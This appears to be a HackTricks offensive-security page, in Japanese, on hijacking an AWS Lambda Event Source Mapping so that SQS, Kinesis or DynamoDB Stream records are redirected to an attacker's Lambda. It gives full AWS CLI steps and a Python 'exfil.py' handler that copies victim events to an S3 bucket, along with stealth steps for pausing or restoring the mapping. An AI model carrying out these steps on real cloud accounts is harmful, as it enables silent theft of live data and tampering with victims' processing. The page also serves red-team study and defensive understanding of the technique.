# AWS - Event Source Mapping を乗っ取り、Stream/SQS/Kinesis を攻撃者の Lambda にリダイレクト

{{#include ../../../../banners/hacktricks-training.md}}

`UpdateEventSourceMapping` を悪用して、既存の Event Source Mapping (ESM) のターゲット Lambda 関数を変更し、DynamoDB Streams、Kinesis、または SQS のレコードを攻撃者が制御する関数に配信させます。これにより、プロデューサや元の関数コードに手を加えずにライブデータを密かに横取りできます。

## Impact
- プロデューサアプリや被害者のコードを変更せずに、既存の streams/queues からライブレコードを迂回して読み取ることができる。
- 被害者のトラフィックを不正な関数で処理することで、データの持ち出しやロジック改ざんが発生する可能性がある。

## Required permissions
- `lambda:ListEventSourceMappings`
- `lambda:GetEventSourceMapping`
- `lambda:UpdateEventSourceMapping`
- 攻撃者が制御する Lambda をデプロイまたは参照できること（`lambda:CreateFunction` または既存の関数を使用する権限）。

## Steps

1) 被害者の関数に対する Event Source Mapping を列挙する
```
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
```
2) 攻撃者が制御する受信側の Lambda を準備する（同じリージョン；理想的には類似した VPC/runtime）
```
cat > exfil.py <<'PY'
import json, boto3, os, time

def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
```
3) マッピングを攻撃者の関数に向け直す
```
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
```
4) マッピングが発火するように、ソースでイベントを生成する（例: SQS）
```
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
```
5) 攻撃者関数がバッチを受け取ることを確認する
```
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
```
6) 任意の stealth
```
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false

# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
```
注記：
- SQS ESMs に対して、キューを処理する Lambda の実行ロールには `sqs:ReceiveMessage`、`sqs:DeleteMessage`、および `sqs:GetQueueAttributes` が必要です（マネージドポリシー: `AWSLambdaSQSQueueExecutionRole`）。
- ESM の UUID は同じままで、変更されるのはその `FunctionArn` のみです。したがって、プロデューサーとソース ARN は影響を受けません。

{{#include ../../../../banners/hacktricks-training.md}}
